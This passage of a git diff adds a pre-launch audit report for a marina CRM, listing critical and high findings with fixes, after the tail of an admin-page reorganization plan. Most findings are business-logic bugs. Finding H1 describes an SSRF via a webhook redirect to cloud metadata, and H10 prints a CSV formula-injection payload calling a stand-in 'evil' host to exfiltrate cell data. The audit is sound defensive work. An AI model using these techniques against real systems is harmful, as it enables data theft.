|
- `/admin/brochures` — per-port versioned PDF assets
|
||||||
|
|
||||||
|
### Domain 4. **Identity & access** (3 pages)
|
||||||
|
|
||||||
|
- `/admin/users` — active users + invitations (merged)
|
||||||
|
- `/admin/roles` — role/permission matrix
|
||||||
|
- `/admin/ports` — super-admin only, per-port management
|
||||||
|
|
||||||
|
### Domain 5. **Inbox & data quality** (5 pages, 1 sub-index)
|
||||||
|
|
||||||
|
_Admin queues + cleanup tools._
|
||||||
|
|
||||||
|
- `/admin/inquiries` — public-site submissions
|
||||||
|
- `/admin/sends` — outbound send retry log
|
||||||
|
- `/admin/duplicates` — duplicate-client review queue
|
||||||
|
- `/admin/import` — CSV imports
|
||||||
|
- `/admin/berths` — **NEW** index page surfacing the two existing sub-tools:
|
||||||
|
- `/admin/berths/bulk-add` (bulk row generator)
|
||||||
|
- `/admin/berths/reconcile` (berth-pdf reconciliation queue)
|
||||||
|
|
||||||
|
### Domain 6. **Integrations** (4 pages) — NEW DOMAIN
|
||||||
|
|
||||||
|
_External-system + provider configuration._
|
||||||
|
|
||||||
|
- `/admin/documenso` — signing service (rename from "Documenso & EOI" → "Signing service")
|
||||||
|
- `/admin/webhooks` — outbound subscriptions + delivery log
|
||||||
|
- `/admin/website-analytics` — Umami creds
|
||||||
|
- `/admin/ai` — dedicated AI panel consolidating master switch + provider creds + OCR settings + AI-suggestions config
|
||||||
|
|
||||||
|
### Domain 7. **System & observability** (7 pages + 1 floating)
|
||||||
|
|
||||||
|
_Infra, observability, escape hatches._
|
||||||
|
|
||||||
|
- `/admin/audit` — mutation audit log
|
||||||
|
- `/admin/monitoring` — BullMQ queue health (+ `/admin/monitoring/[queueName]` sub-page)
|
||||||
|
- `/admin/errors` — error-event list (+ `/admin/errors/codes` + `/admin/errors/[requestId]`)
|
||||||
|
- `/admin/backup` — backup posture
|
||||||
|
- `/admin/storage` — storage backend selector + migration
|
||||||
|
- `/admin/settings` — generic KV editor (escape hatch)
|
||||||
|
- `/admin/onboarding` — cross-cutting setup checklist (floats above the grid for incomplete ports)
|
||||||
|
|
||||||
|
### Deleted
|
||||||
|
|
||||||
|
| Page | Action | Rationale |
|
||||||
|
| -------------------- | -------------------------------------- | ---------------------------------------------------- |
|
||||||
|
| `/admin/ocr` | DELETE + 301 → `/admin/ai` | Duplicate of `/admin/ai`'s OcrSettingsForm |
|
||||||
|
| `/admin/invitations` | DELETE + 301 → `/admin/users` | Empty page; merged into `/admin/users` on 2026-05-21 |
|
||||||
|
| `/admin/reports` | DELETE + 301 → `/[portSlug]/dashboard` | Three widgets all already on the dashboard |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Phase 2 execution plan (~4-5 h)
|
||||||
|
|
||||||
|
Updated to reflect the resolved decisions. Reports move-out becomes a delete (simpler).
|
||||||
|
|
||||||
|
1. **Update `admin-sections-browser.tsx`** to the 7-domain shape above. (~45 min — 7 groups, ~30 tiles)
|
||||||
|
2. **Delete `/admin/ocr`** + add `redirect()` to `/admin/ai`. (~10 min)
|
||||||
|
3. **Delete `/admin/invitations`** + add `redirect()` to `/admin/users`. (~10 min)
|
||||||
|
4. **Delete `/admin/reports`** + add `redirect()` to `/[portSlug]/dashboard`. (~10 min) + remove from sidebar nav + landing browser. (~15 min)
|
||||||
|
5. **Rename `/admin/documenso`** page title → "Signing service" (page title + landing tile label). (~5 min)
|
||||||
|
6. **Create `/admin/berths/page.tsx`** index page surfacing bulk-add + reconcile sub-tools. (~30 min)
|
||||||
|
7. **Cross-link `<EmailPreviewCard>`** on Branding to add a "→ Test individual templates" link pointing at `/admin/email#test-template`. (~10 min)
|
||||||
|
8. **Smoke pass** — click every tile on the new `/admin` landing, confirm every page loads, every redirect lands. (~30 min)
|
||||||
|
9. **Update `alpha-uat-master.md`** Bucket 3 #10 → SHIPPED with this proposal's commit hash. (~5 min)
|
||||||
|
|
||||||
|
Total: ~3.5-4 h.
|
||||||
697
docs/audits/2026-06-02/findings-master.md
Normal file
697
docs/audits/2026-06-02/findings-master.md
Normal file
@@ -0,0 +1,697 @@
|
|||||||
|
<!--
|
||||||
|
Port Nimara CRM — Pre-launch audit, complete.
|
||||||
|
Provenance: pass 1 (wf_70a35b83-ab0, 2 lanes) + file-IDOR smoke test
|
||||||
|
+ pass 2 (wf_f37b6f89-70a, 17 prose lanes; 6 completed, 11 rate-limited)
|
||||||
|
+ pass 3 (wf_e8cfef3c-d55, the 12 rate-limited lanes re-run in batches of 3)
|
||||||
|
+ a final reconciliation pass that deduped passes 1-2 and 3 into this single report.
|
||||||
|
All 17 risk lanes now have coverage. Initiative: launch-readiness Initiative 2.
|
||||||
|
Status: COMPLETE — findings below are pre-fix; nothing has been remediated yet.
|
||||||
|
Severity-sorted; [needs-confirm] tags preserved for findings whose source lane
|
||||||
|
self-rated low confidence or whose reasoning needs a direct trace before fixing.
|
||||||
|
-->
|
||||||
|
|
||||||
|
# Port Nimara CRM — Unified Master Audit Report
|
||||||
|
|
||||||
|
_Consolidation of pass 1+2 (`audit-master.md`) and pass 3 (`audit-pass3-master.md`). Findings are merged and deduped, then renumbered sequentially within each severity tier. No new findings were introduced; every distinct source finding is preserved._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Executive Summary
|
||||||
|
|
||||||
|
This unified report combines two audit synthesis passes covering all 17 lanes plus the pass-1 routing/API confirmation set. Pass 1+2 completed 6 lanes (financial, cross-entity, import, webhook, residential/tenancies, plus pass-1 routing/API) and rate-limited the other 11; pass 3 re-ran those 11 (plus an additional surface) and returned findings. Together they give full lane coverage.
|
||||||
|
|
||||||
|
The dominant theme across both passes is **server-side enforcement and money/state-correctness gaps that the UI papers over**: a deposit gate that compares across currencies _and_ auto-marks berths Sold, a disabled module that still accepts writes, berth-rule triggers that flip inventory to "Sold" on lost/cancelled deals, an SSRF allowlist defeated by HTTP redirects, client-merge that silently drops payments/ownership, and several rate limiters defined but never applied. Almost none require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port (cross-tenant impact mostly latent until a second port is provisioned).
|
||||||
|
|
||||||
|
### Counts by severity (true deduped)
|
||||||
|
|
||||||
|
| Severity | Count |
|
||||||
|
| --------- | ------------------------ |
|
||||||
|
| CRITICAL | 4 |
|
||||||
|
| HIGH | 17 |
|
||||||
|
| MEDIUM | 29 |
|
||||||
|
| LOW | 35 |
|
||||||
|
| **Total** | **85 distinct findings** |
|
||||||
|
|
||||||
|
_Derivation (counting the actual numbered entries in each source doc, several of which bundle sub-items): pass 1+2 = C3 / H6 / M11 / L12 = **32**; pass 3 = C1 / H13 / M18 / L23 = **55**; union = 87, minus two merges (the cross-pass deposit-currency duplicate, and the within-pass-3 AI rate-limit + budget pair) = **85**. (Note: each source doc's own headline subtotal — 29 and 48 — under-reported its physical entry count by folding some bundled items; this unified count is computed from the actual entries preserved here.)_
|
||||||
|
|
||||||
|
### Top fixes before launch
|
||||||
|
|
||||||
|
**Critical (all four):**
|
||||||
|
|
||||||
|
- **C1 — Cross-currency deposit gate auto-marks berths Sold.** Deposit total sums all currencies as bare scalars vs a single-currency expectation, then auto-advances and fires the `deposit_received` rule → berth "Sold" off an underpaid/wrong-currency deposit. _(Merged pass1+2 C1 + pass3 H3.)_
|
||||||
|
- **C2 — Lost/cancelled deals auto-flip the berth to "Sold."** `setInterestOutcome` fires `interest_completed` for every outcome; the outcome-blind rule defaults to `sold`, corrupting public marketing + inventory.
|
||||||
|
- **C3 — Residential module-disabled state never enforced on the v1 API.** Admin disables Residential, but all 13 `/api/v1/residential/**` routes skip any module gate; writes (incl. partner-forward emails) still go through.
|
||||||
|
- **C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`.** Every tracked link in outbound mail 302-redirects external recipients to `/login` — all tracked links are dead.
|
||||||
|
|
||||||
|
**Most serious HIGHs:**
|
||||||
|
|
||||||
|
- **H1 — Webhook `fetch` follows redirects, defeating the SSRF allowlist** → full SSRF read primitive against cloud metadata with exfiltration via the deliveries UI.
|
||||||
|
- **H2 — Client merge skips payments + polymorphic ownership** → survivor loses memberships/yachts/invoices/payments; sets up H3 cascade-delete.
|
||||||
|
- **H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments** → silent destruction of the survivor's financial history.
|
||||||
|
- **H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`)** → premature "Sold" one-to-two stages early.
|
||||||
|
- **H5 — Yacht archive/restore falsifies the ownership-history ledger** → permanent corruption of the legal ownership audit trail.
|
||||||
|
- **H6 — Dashboard reports title-case berth status that never matches canonical** → leadership PDF silently reports 0 sold / understated occupancy.
|
||||||
|
- **H7 — Residential notes feature fully broken (wrong API URL in NotesList)** → every notes CRUD 404s; UI silently shows "No notes yet."
|
||||||
|
- **H8 — `residentialAccess` toggle bypasses caller-superset check** → privilege escalation granting residential CRUD the caller doesn't hold.
|
||||||
|
- **H9 — AI email-draft spends OpenAI tokens with no rate limit and no budget gate** → an authed rep can loop to drain the per-port budget.
|
||||||
|
- **H10 — CSV formula injection in expense + audit-log exports** → RCE/exfil on an admin's machine when opening the export.
|
||||||
|
- **H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`** → another tenant's logo + port name rendered onto a report PDF cover.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Findings
|
||||||
|
|
||||||
|
### CRITICAL
|
||||||
|
|
||||||
|
#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing the pipeline and auto-marking berths Sold _(merged: pass1+2 C1 + pass3 H3)_
|
||||||
|
|
||||||
|
`src/lib/services/payments.service.ts:40-70,130-132` + `src/lib/db/schema/interests.ts:64-65`
|
||||||
|
The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration in `getDepositTotalForInterest`) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
|
||||||
|
**Fix:** Filter the sum to `payments.currency = interest.depositExpectedCurrency` (or normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing); reject or require manual confirmation when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### C2 — Lost/cancelled deals auto-flip the berth to "Sold" (public marketing + inventory corruption)
|
||||||
|
|
||||||
|
`src/lib/services/interests.service.ts:1407` + `src/lib/services/berth-rules-engine.ts:38-45,89-198`
|
||||||
|
_(Reported independently by the Sales-pipeline and Berth-subsystem lanes — same root cause, merged within pass 3.)_ `setInterestOutcome` fires `evaluateRule('interest_completed', …)` unconditionally for **every** non-null outcome (`won | lost_other_marina | lost_unqualified | lost_no_response | cancelled`). The engine never inspects `interest.outcome`; the default rule is `{ mode:'auto', targetStatus:'sold' }`, so it blindly sets the primary berth `status='sold'`. The inline comment claiming admins can "scope per outcome via system*settings.berth_rules" is aspirational — `getRulesConfig`/`evaluateRule` have no outcome dimension. A rep marking a deal lost or cancelled silently sets the berth to **Sold** on the public site (`derivePublicStatus` ranks Sold highest), removes it from the recommender (`b.status <> 'sold'`), and corrupts occupancy/inventory reporting — `mode:'auto'`, no confirmation.
|
||||||
|
**Fix:** Branch on outcome before firing — only `won` should target `sold`; `lost*\*`/`cancelled`should fire`interest_archived`/ a new`deal_lost`trigger defaulting to`available`, or gate inside `evaluateRule`on`outcome === 'won'`. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### C3 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
|
||||||
|
|
||||||
|
`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43`
|
||||||
|
Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended.
|
||||||
|
**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93**
|
||||||
|
|
||||||
|
#### C4 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
|
||||||
|
|
||||||
|
`src/proxy.ts:51`
|
||||||
|
External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
|
||||||
|
**Fix:** Add `/q/` to `PUBLIC_PATHS`. **Confidence: high (confirmed)**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### HIGH
|
||||||
|
|
||||||
|
#### H1 — Webhook `fetch` follows redirects by default, bypassing the SSRF host allowlist
|
||||||
|
|
||||||
|
`src/lib/queue/workers/webhooks.ts:224-237`
|
||||||
|
The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
|
||||||
|
**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95**
|
||||||
|
|
||||||
|
#### H2 — Client merge skips polymorphic ownership + payments → survivor data loss
|
||||||
|
|
||||||
|
`src/lib/services/client-merge.service.ts:205-302`
|
||||||
|
Merge re-points only `interests, berthTenancies, clientContacts, clientAddresses, clientNotes, clientTags, clientRelationships, clientMergeCandidates`. It does **not** touch `payments`, `companyMemberships`, polymorphic `yachts` ownership, or polymorphic `invoices` billing-entity. The winner loses visibility of the loser's memberships, yachts, invoices, and payments. Sharpest for payments: merge moves `interests` to the winner but leaves `payments.clientId` on the loser, so a payment's `interestId` points at a winner-owned interest while `clientId` points at the archived loser.
|
||||||
|
**Fix:** In the merge transaction, re-point `payments.clientId`, `companyMemberships.clientId` (dedup against `unique_cm_exact`), `yachts WHERE currentOwnerType='client' AND currentOwnerId=loserId`, and `invoices WHERE billingEntityType='client' AND billingEntityId=loserId`; record each in the undo snapshot. **Confidence: 0.95**
|
||||||
|
|
||||||
|
#### H3 — Hard-deleting a merged-away loser cascade-deletes the winner's payments
|
||||||
|
|
||||||
|
`src/lib/db/schema/pipeline.ts:95-97` + `client-merge.service.ts:208-214` + `client-hard-delete.service.ts:313`
|
||||||
|
`payments.clientId` is `notNull onDelete:'cascade'`. After a merge, loser's `payments` retain `clientId=loserId` (per H2) but their `interestId` now belongs to the winner. Hard-deleting that stale duplicate cascades and silently destroys the survivor's financial/deposit history; `hardDeleteClient` never re-points payments.
|
||||||
|
**Fix:** Re-point payments during merge (H2); independently, hard-delete should snapshot/guard payments rather than relying on the cascade. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### H4 — Reservation-agreement signing fires the wrong berth rule (`contract_signed`) → premature "Sold"
|
||||||
|
|
||||||
|
`src/lib/services/documents.service.ts:1682-1684`
|
||||||
|
The `documentType === 'reservation_agreement'` completion block calls `evaluateRule('contract_signed', …)` — a copy-paste from the contract block (line 1741). `reservation_signed` is not a valid `BerthRuleTrigger`, so this flips the berth to `sold` (default `contract_signed` rule) one-to-two stages early, before any deposit.
|
||||||
|
**Fix:** Fire the appropriate rule (or none) for reservation signing; do not reuse `contract_signed`. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### H5 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
|
||||||
|
|
||||||
|
`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404`
|
||||||
|
Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
|
||||||
|
**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### H6 — Dashboard report queries title-case berth status that never matches the lowercase canonical → silent zeros
|
||||||
|
|
||||||
|
`src/lib/services/dashboard-report-data.service.ts:289, 462-464`
|
||||||
|
Canonical `berths.status` is lowercase (`available | under_offer | sold`). `berths_sold_period` matches `newValue->>'status' = 'Sold'` (audit rows store lowercase) → always empty. `occupancy_timeline_chart` does `status IN ('Sold','under_offer','Under offer')` — only `under_offer` ever matches, so the timeline drops all sold berths. Leadership-facing PDF reports two key metrics as 0/understated, silently. `operational.service.ts` does this correctly throughout.
|
||||||
|
**Fix:** Change literals to lowercase `'sold'`/`'under_offer'`. **Confidence: 0.88**
|
||||||
|
|
||||||
|
#### H7 — Residential notes feature fully broken: NotesList builds the wrong API URL
|
||||||
|
|
||||||
|
`src/components/shared/notes-list.tsx:192-194` (consumed by `residential-client-tabs.tsx:116`, `residential-interest-tabs.tsx:59`)
|
||||||
|
`baseEndpoint = /api/v1/${entityType}/${entityId}/notes` interpolates the raw discriminator, so `entityType="residential_clients"` produces `/api/v1/residential_clients/<id>/notes`, but real routes are `/api/v1/residential/clients/[id]/notes` (slash-separated). No such underscore directory or rewrite exists → every list/create/edit/delete 404s; UI silently shows "No notes yet". The sibling `sourceLinkFor()` in the same file uses the correct slash path.
|
||||||
|
**Fix:** Map `entityType` → API path segment via a lookup table and build `baseEndpoint` from that. **Confidence: 0.95**
|
||||||
|
|
||||||
|
#### H8 — `residentialAccess` toggle bypasses the caller-superset check (privilege escalation)
|
||||||
|
|
||||||
|
`src/lib/services/users.service.ts:323-328` + resolver `src/lib/api/helpers.ts:208-221`
|
||||||
|
`updateUser` enforces caller-superset on role reassignment but **not** on the `residentialAccess` flag; the resolver unconditionally grants full residential CRUD when the flag is set. An admin holding only `admin.manage_users` (not `residential_*`) can PATCH any peer `{"residentialAccess": true}`, granting a permission the caller doesn't hold and can't grant via the (hardened) override PUT or role path. Defeats the caller-superset invariant.
|
||||||
|
**Fix:** In `updateUser`, when `residentialAccess === true` and not super-admin, require the caller hold `residential_clients.view` (and other residential leaves) before allowing the flag. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### H9 — AI email-draft endpoints spend OpenAI tokens with no rate limit and no budget gate
|
||||||
|
|
||||||
|
`src/app/api/v1/ai/email-draft/route.ts` (+ `interest-score/route.ts`, `interest-score/bulk/route.ts`) + worker `src/lib/queue/workers/ai.ts:187` (service `email-draft.service.ts`)
|
||||||
|
_(Merged within pass 3: the AI-subsystem lane and the permissions/rate-limit lane independently flagged the missing rate limit; the AI lane separately flagged the missing budget gate — both facets of the same unprotected token-spend surface.)_ `rateLimiters.ai` (60/min, `rate-limit.ts:111`) exists but `grep withRateLimit('ai'` returns zero hits; `email-draft` enqueues an OpenAI job per call gated only by `email.send` + flag and returns 202 fast (no backpressure), so a loop drains the OpenAI budget. Compounding it, `generateEmailDraft` issues a live OpenAI POST whose only budget interaction is the after-the-fact ledger write (`ai.ts:238`); `checkBudget` is imported in exactly one route (OCR `scan-receipt`) and zero AI routes, so the per-port hard cap (`ai.budget.hardCapTokens`, default 500k) is unenforceable — a rep can loop ~1,600 tokens/call regardless of cap.
|
||||||
|
**Fix:** Wrap each AI route `withRateLimit('ai', …)` (mirror `expenses/scan-receipt/route.ts:28`), AND call `checkBudget({ portId, estimatedTokens: ~1700 })` in `requestEmailDraft` before `aiQueue.add` (or at the top of `generateEmailDraft`), early-returning to the template fallback on `!budget.ok`. **Confidence: 0.9** (rate-limit) **/ 0.97** (budget gate)
|
||||||
|
|
||||||
|
> Note: `interest-score`/`bulk` are pure SQL + Redis (no LLM call) — the rate-limit concern there is DB-amplification, not token spend.
|
||||||
|
|
||||||
|
#### H10 — CSV formula injection in expense + audit-log exports
|
||||||
|
|
||||||
|
`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102`
|
||||||
|
Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
|
||||||
|
**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### H11 — Cross-tenant brand-kit leak via attacker-controlled `coverBrandPortId`
|
||||||
|
|
||||||
|
`src/lib/services/report-render.service.ts:228-242` (enqueue `src/app/api/v1/reports/runs/route.ts:38-52`, validator `src/lib/validators/reports.ts:76`)
|
||||||
|
_(Reported by the worker-isolation lane as HIGH and by the report-correctness lane as LOW — taking the higher severity; data scope is confirmed limited to cover logo + port name.)_ The render worker reads an arbitrary `coverBrandPortId` straight from the run config and loads that port's brand kit with **no access check** (config validated only as `z.record(z.string(), z.unknown())`; `createReportRun` validates `templateId` but not config keys). Any user with `reports:export` can render another tenant's logo + port name onto a report PDF cover. All data still comes from `run.portId` (no record leak), and the deployment is single-port today — hence HIGH not CRITICAL; becomes a clean cross-tenant leak on second-port provisioning.
|
||||||
|
**Fix:** Validate `coverBrandPortId` against the requesting user's accessible ports at enqueue, or drop the override; defense-in-depth, honor it only if it equals `run.portId`. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### H12 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
|
||||||
|
|
||||||
|
`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
|
||||||
|
The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
|
||||||
|
**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
|
||||||
|
|
||||||
|
#### H13 — "EOI signed" yields two different pipeline stages depending on signing channel
|
||||||
|
|
||||||
|
`src/lib/services/documents.service.ts:992` vs `:1634`
|
||||||
|
Documenso-webhook signing advances to `reservation` (`advanceStageIfBehindGated(..., 'eoi_signed')`); manual upload (`uploadSignedManually`) advances only to `eoi` via bare `advanceStageIfBehind` — a full stage behind, and it also bypasses the per-port `stage_advance_rules` gate. Skews stage-duration/funnel reports.
|
||||||
|
**Fix:** Make both paths target `reservation` via `advanceStageIfBehindGated(..., 'eoi_signed')`. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### H14 — Browser back/forward desyncs URL from displayed list
|
||||||
|
|
||||||
|
`src/hooks/use-paginated-query.ts:44-56`
|
||||||
|
Page/pageSize/sort/filters seed from the URL once via `useState` initializers, then drive the URL one-way via `router.replace`. No effect resyncs `searchParams` → state, so Back/forward updates the URL but not component state (URL shows page 2, list shows page 3); refresh jumps again.
|
||||||
|
**Fix:** Derive state directly from `useSearchParams()`, or add an effect resyncing the four slices when params change. **Confidence: 0.78**
|
||||||
|
|
||||||
|
#### H15 — Applying a saved view silently drops the saved sort
|
||||||
|
|
||||||
|
`src/components/clients/client-list.tsx:192` (+ interests/yachts/companies/berths/residential-interests list components) + `src/hooks/use-paginated-query.ts`
|
||||||
|
`SavedViewsDropdown` passes `(view.filters, view.sortConfig)` to `onApplyView`, but every consumer ignores the second arg (`client-list` destructures `_savedSort` and discards it). `usePaginatedQuery` has no atomic "apply filters **and** sort" mutator. A saved "Overdue invoices, sorted by amount desc" restores filters but the default sort — half-applying the view.
|
||||||
|
**Fix:** Add `setViewState({ filters, sort })` (one `syncUrl` write) to `usePaginatedQuery` and thread the sort through each `onApplyView`. **Confidence: 0.9**
|
||||||
|
|
||||||
|
#### H16 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
|
||||||
|
|
||||||
|
`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83`
|
||||||
|
The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
|
||||||
|
**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8**
|
||||||
|
|
||||||
|
#### H17 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
|
||||||
|
|
||||||
|
`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619`
|
||||||
|
`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
|
||||||
|
**Fix:** Add `.refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate)` to each schema; in `transferTenancy` clamp/validate `endDate` against `transferDate`. **Confidence: 0.82**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### MEDIUM
|
||||||
|
|
||||||
|
#### M1 — `setInterestOutcome` has no terminal-state guard; outcomes overwritable → re-fires side effects
|
||||||
|
|
||||||
|
`src/lib/services/interests.service.ts:1358-1407`
|
||||||
|
Unlike `clearInterestOutcome`, `setInterestOutcome` never checks `existing.outcome`. A second call (won→lost, double-submit, idempotent webhook) re-runs `evaluateRule('interest_completed')` (compounding C2), folder rename, audit row, socket emit, Umami event.
|
||||||
|
**Fix:** Reject re-setting an outcome (require clearing first) and make the berth rule outcome-aware. **Confidence: 0.75**
|
||||||
|
|
||||||
|
#### M2 — Sending a reservation_agreement fires `eoi_sent` rule + double-advances, polluting EOI milestones
|
||||||
|
|
||||||
|
`src/lib/services/documents.service.ts:846-892`
|
||||||
|
For a reservation_agreement send, the shared block fires `evaluateRule('eoi_sent')`, advances to `eoi`, stamps `dateEoiSent`/`eoiDocStatus='sent'`, **then** the reservation branch advances to `reservation`. EOI milestone columns are written for a non-EOI document, polluting funnel data.
|
||||||
|
**Fix:** Gate the EOI-specific stamps + `eoi_sent` rule to `doc.documentType === 'eoi'`. **Confidence: 0.7**
|
||||||
|
|
||||||
|
#### M3 — `changeInterestStage` non-transactional double-UPDATE + back-stamps milestone dates on signing-driven advances
|
||||||
|
|
||||||
|
`src/lib/services/interests.service.ts:1140-1163`
|
||||||
|
Two non-transactional UPDATEs on the same row; milestone logic stamps `dateContractSent = now` on any move to `contract` — but the contract-signed webhook calls this right after stamping `dateContractSigned`, back-stamping `dateContractSent` to the signing instant so "sent→signed" duration reads ~0.
|
||||||
|
**Fix:** Only auto-stamp milestone dates for manual/UI moves, not signing-driven advances; fold the two UPDATEs into one. **Confidence: 0.65**
|
||||||
|
|
||||||
|
#### M4 — Multi-berth bundles: status-advancing rules flip only the primary berth, leaving siblings stale
|
||||||
|
|
||||||
|
`src/lib/services/berth-rules-engine.ts:89-93`
|
||||||
|
The engine targets `primaryBerth?.berthId` only. For a multi-berth EOI bundle (`is_in_eoi_bundle`), a won/deposited/contracted deal flips only the primary to `sold`; bundled siblings keep `available`/`under_offer` and stay publicly visible + pitchable.
|
||||||
|
**Fix:** For status-advancing triggers, iterate the full `interest_berths WHERE is_in_eoi_bundle = true` set under the same advisory-lock/idempotency pattern. **Confidence: 0.75**
|
||||||
|
|
